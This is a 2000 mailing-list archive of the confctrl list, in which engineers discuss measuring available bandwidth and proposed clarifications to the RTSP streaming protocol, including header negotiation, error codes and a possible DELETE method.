Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA04568
	for <confctrl@zephyr.isi.edu>; Tue, 4 Apr 2000 00:07:09 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA24734;
	Tue, 4 Apr 2000 00:07:25 -0700 (PDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02883-0@bells.cs.ucl.ac.uk>; Tue, 4 Apr 2000 08:07:22 +0100
To: Bill Manning <bmanning@ISI.EDU>
cc: gamze@luxxon.com (Gamze Seckin), confctrl@ISI.EDU, rem-conf@es.net
Subject: Re: available bandwidth
In-reply-to: Your message of "Mon, 03 Apr 2000 11:06:12 PDT." <200004031806.LAA15889@zed.isi.edu>
Date: Tue, 04 Apr 2000 08:07:19 +0100
Message-ID: <1029.954832039@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <200004031806.LAA15889@zed.isi.edu>, Bill Manning typed:

 >> since the Internet is packet oriented, is what you want to do is check
 >>the "instantaneous available bandwidth" between the source and 
 >>destinations -on a per packet basis-?
 >> Yow!

yes indeed

 >>You might want to look at trends between endpoints via pchar or
 >>equivalent. These tend to take a while to build up a reasonable
 >>basis for trend analysis.

pathchar gives you what the instantaneous bandwidth may have been some time
ago.....it also has problems on fast short-to-medium distance
links which treat ICMP in slow path but forward packets in fast path - the
delay is lower on the next hop than the current one! at least i find this on
UCL<->ACIRI path where we appear traverses several such hops on superjanet
and abiline...
 >>
 >>
 >>% 
 >>% Sorry for the abstract question..Here is my problem:
 >>% I want to know the instantaneous available bw over Internet for resource
 >>% management for a group of video conferencing hosts.
 >>% I recently read RFC 2676 (QoS Routing Mechanisms and OSPF Extensions).
 >>% it is mentioned there, that the available link can be computed via a
 >>% bandwidth management method (I could not find anything about it in OSPF 2).
 >>% I am thinking of a very simple method (e.g. periodic delay measurement etc.
 >>% to find this parameter).
 >>% I may be looking into wrong direction. Any help is appreciated.
 >>% thank you,
 >>% gamze
 >>% ----- Original Message -----
 >>% From: Bill Manning <bmanning@ISI.EDU>
 >>% To: Gamze Seckin <gamze@luxxon.com>
 >>% Cc: <confctrl@ISI.EDU>; <rem-conf@es.net>
 >>% Sent: Monday, April 03, 2000 10:52 AM
 >>% Subject: Re: available bandwidth
 >>% 
 >>% 
 >>% > % Hi,
 >>% > %
 >>% > % I want to calculate the instantenous available link bandwidth on an IP =
 >>% > % network.
 >>% > % Can you give me pointers to any IETF RFCs or drafts about any work on =
 >>% > % this issue?
 >>% > %
 >>% > % thank you very much,
 >>% > % gamze
 >>% > %
 >>% > % ------=_NextPart_000_003E_01BF9D58.F274FFA0--
 >>% >
 >>% > for your traditional ethernet networks, the instantenous available
 >>% > bandwidth is either all of it or none of it.
 >>% >
 >>% > perhaps you would like to clarify your terminology a bit. :)
 >>% >
 >>% >
 >>% > --bill
 >>% >
 >>% 
 >>% 
 >>
 >>
 >>-- 
 >>--bill

 cheers

   jon


From confctrl-owner  Tue Apr  4 06:55:00 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA17453
	for confctrl-outgoing; Tue, 4 Apr 2000 06:55:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA17448
	for <confctrl@zephyr.isi.edu>; Tue, 4 Apr 2000 06:54:58 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA07152
	for <confctrl@ISI.EDU>; Tue, 4 Apr 2000 06:55:14 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA19228;
	Tue, 4 Apr 2000 09:55:04 -0400 (EDT)
Message-ID: <38E9F438.4EFF793A@cs.columbia.edu>
Date: Tue, 04 Apr 2000 09:55:04 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Dirk Pranke <dpranke@us.oracle.com>
CC: Anup Rao <anrao@cisco.com>, confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <38DC0A7E.A26A8B44@cisco.com> <38E79A66.B71823B2@cs.columbia.edu> <38E9738E.A5C77C4F@us.oracle.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dirk Pranke wrote:
> 
> There are also two problems that are related to the 'range type not implemented'
> problem:
> 
> (1) what if only a subset of requestable values are permanently available?
> (2) what if only a subset of requestable values are temporarily available?
> 
> In the first case, suppose I issue "Speed: 5.3" and only "Speed: 2.0" and "Speed: 8.0"
> are available? Is this an error, or does the server round to an available value?
> If it rounds, what is the acceptable precision of rounding, and does it round up or
> down?

I'm a bit worried that this could get infinitely complicated, as the
server may have to indicate sets of values and somehow the client has to
make sense of this. If we want to go there, we should take a serious
look at the HTTP content negotiation work which addresses such parameter
constraints, particularly since it may well be possible that
combinations of parameters are restricted.

A simple approach is to say "the server proposes, the client disposes",
i.e., the server decides whether it can deliver something that is "close
enough" and indicates its choice. If the client doesn't like the choice,
it can terminate the PLAY or prompt the user with something like "You
requested speed 5.3, the server can only do 8.0. Abort/Retry/Continue?"

In a consumer application, the client might be happy with anything even
reasonably close, given that the alternative is no streaming content at
all. In a pro-editing application, the client would probably at least
ask. 

One possibility is to add a Require: precisescale, preciserange, 

where the server would then return a 551 or whatever if it can't exactly
do as told (or 420 if it doesn't know the feature).


> 
> In the second, case, what if the different speed is temporarily unavailable?
> (for example, suppose handling trick mode streams was more CPU intensive on the
> server, and the resources are temporarily unavailable). Is this an error? Is it
> acceptable for the server to return "Scale: 1.0" in this case (which is not trick
> mode at all)?
> 
> Both these questions clearly apply to at least the Range:, Speed:, and Scale:
> headers, but may apply to others that aren't occuring to me at the moment ...
> I believe the second case is addressed somewhat by Sean Sheedy's proposed RTSP
> extensions, but the more general is still unclear.
> 
> -- Dirk
> 
> Dirk Pranke
> Oracle Interactive Television
> 

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Apr  4 08:55:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA21838
	for confctrl-outgoing; Tue, 4 Apr 2000 08:55:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA21833
	for <confctrl@zephyr.isi.edu>; Tue, 4 Apr 2000 08:55:09 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15840
	for <confctrl@ISI.EDU>; Tue, 4 Apr 2000 08:55:26 -0700 (PDT)
Received: from cisalpino.cs.columbia.edu (cisalpino.cs.columbia.edu [128.59.19.194])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA27769;
	Tue, 4 Apr 2000 11:55:25 -0400 (EDT)
Received: from localhost (kns10@localhost)
	by cisalpino.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA29823;
	Tue, 4 Apr 2000 11:55:24 -0400 (EDT)
Date: Tue, 4 Apr 2000 11:55:24 -0400 (EDT)
From: Kundan Singh <kns10@cs.columbia.edu>
To: Anup Rao <anrao@cisco.com>
cc: confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
In-Reply-To: <38DC0A7E.A26A8B44@cisco.com>
Message-ID: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Will it be a good idea to include some provision 
in RTSP to delete a resource/recorded media on the server.

Henning and I had a discussion on this and we see following
possibilities:
 - define another RTSP method, say "DELETE".
 - Use SETUP(mode=record)-TEARDOWN sequence. If you want to delete
   the resource/file then you send RTSP messages as if
   you are recoding the file, but without sending an actual
   RECORD message. The server interprets SETUP for recording,
   followed by TEARDOWN (without RECORD) as a command to
   delete the file. (Any way the recorded file will be empty otherwise).

The first approach is a more straight forward, formal approach
while the second is a hack.

Obviously, proper authentication needs to be done for
deletion. 

Regards
Kundan
--
Kundan Singh     http://www.cs.columbia.edu/~kns10

On Fri, 24 Mar 2000, Anup Rao wrote:

> 
> Hi everyone,
> 
> Seems like it is a good time to work on  a RTSP spec  revision with:
> 
> a) Clarifications based on  implementation experience
> b) Enhancements, possibly related to caching or other work.
> c) Removing parts that have not been implemented and will not be, should such
> parts exist.
> 
> I'll go through what I have for a) below. Input for all of the categories is
> solicited.  Note that some  enhancements are proposed in
> draft-sheedy-mmusic-rtsp-ext-00.txt and
> draft-periyannan-rtsp-caching-00.txt.
> 
> Thanks
> Anup.
> 
> a1) Use of destination parameter in Transport header, raised by Ed Lau
> 
> Draft seems to be unduly restrictive in terms of using this parameter for
> unicast, ie to direct a stream at an address other than the one
> control requests are being recd from.  Henning posted a change,  reproduced
> here:
> 
> \begin{changebar}
> \item[\header{destination}:] The address to which a stream will be
> sent.
> The client may specify the destination address with the \header{destination}
> parameter.  To avoid becoming the unwitting perpetrator of a remote-controlled
> denial-of-service attack, a
> server {\SHOULD} authenticate the client and {\SHOULD} log such attempts
> before allowing the client to direct a media stream to an address not
> chosen  by the server.  This is particularly important if RTSP commands are
> issued via UDP, but implementations cannot rely on TCP as reliable means of
> client identification by itself.
> \end{changebar}
> 
> 
> a2) Description of error code 451 is not consistent. It is "Invalid parameter"
> in 7.1.1 and "Parameter not understood" everywhere else.
> 
> a3) Clarification of  response code if some value within a header is not
> supported. I've add quite a few people ask me this : what is the response code
> if  a server gets a PLAY with absolute time,  and  does not support it.
> 
> Propose to use a new 5xx code. In addition, the reponse should include parts of
> the header that were not supported.
> 
> For example:
> 
> PLAY rtsp://audio.example.com/twister.en RTSP/1.0
> CSeq: 833
> Session: 12345678
> Range: smpte=0:10:20-;time=19970123T153600Z
> 
> RTSP/1.0 451 Parameter not understood
> Range: time=19970123T153600Z
> 
> meaning that the absolute time specification was not understood.
> 
> This should be backwards compatible.
> 
> a4) Also,  the use of OPTIONS to query the support of such abilities(ie types of
> ranges supported)  in addition to querying extension and method support.
> 
> Currently OPTIONS can be used only to query method support. It is useful to have
> it query
> the supported  range types(smpte/absolute/npt) as well.
> 
> A possible way to do this is to include the headers in the request whose
> supported possibilities are desired. For example
> 
> OPTIONS *  RTSP/1.0
> Range: * (or empty)
> 
> RTSP/1.0 200 OK
> Range: npt, clock, smpte
> 
> For querying of server supported extensions, it is possible to use OPTIONS and
> the "Supported" header specified for SIP.
> 
> a5)  More a question: Any SET/GET_PARAMETERS requiring to be standarized ?
> 
> -Anup.
> 
> 
> 


From confctrl-owner  Tue Apr  4 20:18:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA22938
	for confctrl-outgoing; Tue, 4 Apr 2000 20:18:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA22933
	for <confctrl@zephyr.isi.edu>; Tue, 4 Apr 2000 20:18:02 -0700 (PDT)
Received: from inet-smtp4.oracle.com (inet-smtp4.us.oracle.com [209.246.15.58])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA24572
	for <confctrl@isi.edu>; Tue, 4 Apr 2000 20:18:14 -0700 (PDT)
Received: from usmail05.us.oracle.com (usmail05.us.oracle.com [130.35.61.101])
	by inet-smtp4.oracle.com (8.9.3/8.9.3) with ESMTP id UAA10397;
	Tue, 4 Apr 2000 20:18:07 -0700 (PDT)
Received: from us.oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by usmail05.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id UAA05760;
	Tue, 4 Apr 2000 20:18:06 -0700 (PDT)
Message-ID: <38EAB0B0.E6C05F0A@us.oracle.com>
Date: Tue, 04 Apr 2000 20:19:12 -0700
From: Dirk Pranke <dpranke@us.oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <38DC0A7E.A26A8B44@cisco.com> <38E79A66.B71823B2@cs.columbia.edu> <38E9738E.A5C77C4F@us.oracle.com> <38E9F438.4EFF793A@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Henning Schulzrinne wrote:
> 
> Dirk Pranke wrote:
> >
> > There are also two problems that are related to the 'range type not implemented'
> > problem:
> >
> > (1) what if only a subset of requestable values are permanently available?
> > (2) what if only a subset of requestable values are temporarily available?
> >
> > In the first case, suppose I issue "Speed: 5.3" and only "Speed: 2.0" and "Speed: 8.0"
> > are available? Is this an error, or does the server round to an available value?
> > If it rounds, what is the acceptable precision of rounding, and does it round up or
> > down?
> 
> I'm a bit worried that this could get infinitely complicated, as the
> server may have to indicate sets of values and somehow the client has to
> make sense of this. If we want to go there, we should take a serious
> look at the HTTP content negotiation work which addresses such parameter
> constraints, particularly since it may well be possible that
> combinations of parameters are restricted.
>

I share your concerns, but we still need to address the problem. I would be
in favor of the simplest possible approach ...
 
> A simple approach is to say "the server proposes, the client disposes",
> i.e., the server decides whether it can deliver something that is "close
> enough" and indicates its choice. If the client doesn't like the choice,
> it can terminate the PLAY or prompt the user with something like "You
> requested speed 5.3, the server can only do 8.0. Abort/Retry/Continue?"
>

This is certainly a simple approach, and has occurred to us. The one real
drawback is that the command may have side effects that are undesirable.
For example, if I'm writing a consumer application, and the consumer pressed
fast-forward, and the server decided to play the 8x stream at 1x instead,
then do to the race between control information (RTSP) and data information (RTP)
the client may well get 1-2 seconds of 1x stream that it didn't want. In
some situations, this may be uncontrollably thrown up on screen with 
distracting results ...

> In a consumer application, the client might be happy with anything even
> reasonably close, given that the alternative is no streaming content at
> all. In a pro-editing application, the client would probably at least
> ask.
> 
> One possibility is to add a Require: precisescale, preciserange,
> 
> where the server would then return a 551 or whatever if it can't exactly
> do as told (or 420 if it doesn't know the feature).
> 

Yeah, this might be a start, but I, like you, am not sure where to draw
the line.

-- Dirk

Dirk Pranke
Oracle Interactive Television Division

From confctrl-owner  Tue Apr  4 20:20:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA23034
	for confctrl-outgoing; Tue, 4 Apr 2000 20:20:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA23029
	for <confctrl@zephyr.isi.edu>; Tue, 4 Apr 2000 20:20:25 -0700 (PDT)
Received: from inet-smtp4.oracle.com (inet-smtp4.us.oracle.com [209.246.15.58])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA24639
	for <confctrl@ISI.EDU>; Tue, 4 Apr 2000 20:20:41 -0700 (PDT)
Received: from usmail05.us.oracle.com (usmail05.us.oracle.com [130.35.61.101])
	by inet-smtp4.oracle.com (8.9.3/8.9.3) with ESMTP id UAA10534;
	Tue, 4 Apr 2000 20:20:29 -0700 (PDT)
Received: from us.oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by usmail05.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id UAA06991;
	Tue, 4 Apr 2000 20:20:28 -0700 (PDT)
Message-ID: <38EAB13E.2A016454@us.oracle.com>
Date: Tue, 04 Apr 2000 20:21:34 -0700
From: Dirk Pranke <dpranke@us.oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Kundan Singh <kns10@cs.columbia.edu>
CC: confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Kundan Singh wrote:
> 
> Will it be a good idea to include some provision
> in RTSP to delete a resource/recorded media on the server.
> 
> Henning and I had a discussion on this and we see following
> possibilities:
>  - define another RTSP method, say "DELETE".
>  - Use SETUP(mode=record)-TEARDOWN sequence. If you want to delete
>    the resource/file then you send RTSP messages as if
>    you are recoding the file, but without sending an actual
>    RECORD message. The server interprets SETUP for recording,
>    followed by TEARDOWN (without RECORD) as a command to
>    delete the file. (Any way the recorded file will be empty otherwise).
> 
> The first approach is a more straight forward, formal approach
> while the second is a hack.
> 
> Obviously, proper authentication needs to be done for
> deletion.
> 
> Regards
> Kundan
> --
> Kundan Singh     http://www.cs.columbia.edu/~kns10
> 

I might be open to adding a DELETE method, but am hesitant given that
HTTP has not found it necessary to add a DELETE method.

The second approach is too far out of the realm of what TEARDOWN
is supposed to do, in my opinion.

-- Dirk

Dirk Pranke
Oracle Interactive Television Division

From confctrl-owner  Wed Apr  5 00:47:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA01449
	for confctrl-outgoing; Wed, 5 Apr 2000 00:47:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA01444
	for <confctrl@zephyr.isi.edu>; Wed, 5 Apr 2000 00:47:19 -0700 (PDT)
Received: from sophia.inria.fr (root@sophia.inria.fr [138.96.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA04558
	for <confctrl@ISI.EDU>; Wed, 5 Apr 2000 00:47:35 -0700 (PDT)
Received: from w3.org by sophia.inria.fr (8.8.8/8.8.5) with ESMTP id JAA15085; Wed, 5 Apr 2000 09:46:31 +0200 (MET DST)
X-Authentication-Warning: sophia.inria.fr: Host trux.inria.fr [138.96.249.67] claimed to be w3.org
Message-ID: <38EA9AA7.45A9F036@w3.org>
Date: Wed, 05 Apr 2000 09:45:11 +0800
From: Philipp Hoschka <ph@w3.org>
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: en-US
MIME-Version: 1.0
To: Dirk Pranke <dpranke@us.oracle.com>
CC: Kundan Singh <kns10@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu> <38EAB13E.2A016454@us.oracle.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Dirk Pranke a écrit :
...
> I might be open to adding a DELETE method, but am hesitant given that
> HTTP has not found it necessary to add a DELETE method.

there is actually a DELETE method in HTTP/1.1

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.7

From confctrl-owner  Wed Apr  5 05:39:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10293
	for confctrl-outgoing; Wed, 5 Apr 2000 05:39:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10274
	for <confctrl@zephyr.isi.edu>; Wed, 5 Apr 2000 05:39:51 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA13525
	for <confctrl@ISI.EDU>; Wed, 5 Apr 2000 05:40:07 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id IAA22338;
	Wed, 5 Apr 2000 08:40:03 -0400 (EDT)
Message-ID: <38EB3422.B7D4013A@cs.columbia.edu>
Date: Wed, 05 Apr 2000 08:40:02 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Philipp Hoschka <ph@w3.org>
CC: Dirk Pranke <dpranke@us.oracle.com>, Kundan Singh <kns10@cs.columbia.edu>,
        confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu> <38EAB13E.2A016454@us.oracle.com> <38EA9AA7.45A9F036@w3.org>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Philipp Hoschka wrote:
> 
> Dirk Pranke a écrit :
> ...
> > I might be open to adding a DELETE method, but am hesitant given that
> > HTTP has not found it necessary to add a DELETE method.
> 
> there is actually a DELETE method in HTTP/1.1
> 
> http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.7

Are you suggesting RTSP doesn't need one or that there's precedent for
doing it?


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Apr  5 05:45:27 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10547
	for confctrl-outgoing; Wed, 5 Apr 2000 05:45:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10541
	for <confctrl@zephyr.isi.edu>; Wed, 5 Apr 2000 05:45:26 -0700 (PDT)
Received: from sophia.inria.fr (root@sophia.inria.fr [138.96.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA13660
	for <confctrl@ISI.EDU>; Wed, 5 Apr 2000 05:45:37 -0700 (PDT)
Received: from w3.org by sophia.inria.fr (8.8.8/8.8.5) with ESMTP id OAA26906; Wed, 5 Apr 2000 14:42:38 +0200 (MET DST)
X-Authentication-Warning: sophia.inria.fr: Host trux.inria.fr [138.96.249.67] claimed to be w3.org
Message-ID: <38EAE00F.C9E2D4BF@w3.org>
Date: Wed, 05 Apr 2000 14:41:19 +0800
From: Philipp Hoschka <ph@w3.org>
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: en-US
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: Dirk Pranke <dpranke@us.oracle.com>, Kundan Singh <kns10@cs.columbia.edu>,
        confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu> <38EAB13E.2A016454@us.oracle.com> <38EA9AA7.45A9F036@w3.org> <38EB3422.B7D4013A@cs.columbia.edu>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Henning Schulzrinne a écrit :
> 
> Philipp Hoschka wrote:
> >
> > Dirk Pranke a écrit :
> > ...
> > > I might be open to adding a DELETE method, but am hesitant given that
> > > HTTP has not found it necessary to add a DELETE method.
> >
> > there is actually a DELETE method in HTTP/1.1
> >
> > http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.7
> 
> Are you suggesting RTSP doesn't need one or that there's precedent for
> doing it?

I was just responding to the statement that "HTTP has not found it
necessary to add a DELETE method", which is incorrect.

I have no immediate opinion on whether RTSP needs a DELETE method
at all, and if so, whether it should reuse the HTTP method; or
design its own

From confctrl-owner  Wed Apr  5 13:23:49 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA26781
	for confctrl-outgoing; Wed, 5 Apr 2000 13:23:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26776
	for <confctrl@zephyr.isi.edu>; Wed, 5 Apr 2000 13:23:48 -0700 (PDT)
Received: from inet-smtp4.oracle.com (inet-smtp4.us.oracle.com [209.246.15.58])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA03864
	for <confctrl@ISI.EDU>; Wed, 5 Apr 2000 13:24:05 -0700 (PDT)
Received: from usmail05.us.oracle.com (usmail05.us.oracle.com [130.35.61.101])
	by inet-smtp4.oracle.com (8.9.3/8.9.3) with ESMTP id NAA00436;
	Wed, 5 Apr 2000 13:24:01 -0700 (PDT)
Received: from us.oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by usmail05.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id NAA16485;
	Wed, 5 Apr 2000 13:24:00 -0700 (PDT)
Message-ID: <38EBA126.670E9F94@us.oracle.com>
Date: Wed, 05 Apr 2000 13:25:10 -0700
From: Dirk Pranke <dpranke@us.oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.6 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Philipp Hoschka <ph@w3.org>
CC: Kundan Singh <kns10@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: Changes/clarifications to RTSP
References: <Pine.GSO.4.21.0004041144110.29450-100000@cisalpino.cs.columbia.edu> <38EAB13E.2A016454@us.oracle.com> <38EA9AA7.45A9F036@w3.org>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Philipp Hoschka wrote:
> 
> Dirk Pranke a écrit :
> ...
> > I might be open to adding a DELETE method, but am hesitant given that
> > HTTP has not found it necessary to add a DELETE method.
> 
> there is actually a DELETE method in HTTP/1.1
> 
> http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.7

Sigh. I knew I should have checked my references before making this 
statement ...

-- Dirk

From confctrl-owner  Thu Apr  6 09:43:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA12766
	for confctrl-outgoing; Thu, 6 Apr 2000 09:43:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA12761
	for <confctrl@zephyr.isi.edu>; Thu, 6 Apr 2000 09:43:01 -0700 (PDT)
Received: from mail.dia.uniroma3.it (mail.dia.uniroma3.it [193.204.161.133])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16857
	for <confctrl@isi.edu>; Thu, 6 Apr 2000 09:43:14 -0700 (PDT)
Received: from Autori17 (autori17.dia.uniroma3.it [193.204.161.186])
	by mail.dia.uniroma3.it (8.9.3/8.9.3) with SMTP id SAA13229
	for <confctrl@isi.edu>; Thu, 6 Apr 2000 18:43:07 +0200
Message-ID: <006d01bf9fe7$b43cabc0$baa1ccc1@dia.uniroma3.it>
From: "Valentina" <delfrate@dia.uniroma3.it>
To: <confctrl@ISI.EDU>
Subject: join
Date: Thu, 6 Apr 2000 18:46:48 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_006A_01BF9FF8.77053900"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_006A_01BF9FF8.77053900
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Valentina Del Frate=20
delfrate@dia.uniroma3.it

------=_NextPart_000_006A_01BF9FF8.77053900
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Valentina Del Frate </FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>delfrate@dia.uniroma3.it</FONT></DIV></BODY></HTML>

------=_NextPart_000_006A_01BF9FF8.77053900--


From confctrl-owner  Sun Apr  9 22:40:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA01875
	for confctrl-outgoing; Sun, 9 Apr 2000 22:40:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA01869
	for <confctrl@zephyr.isi.edu>; Sun, 9 Apr 2000 22:40:30 -0700 (PDT)
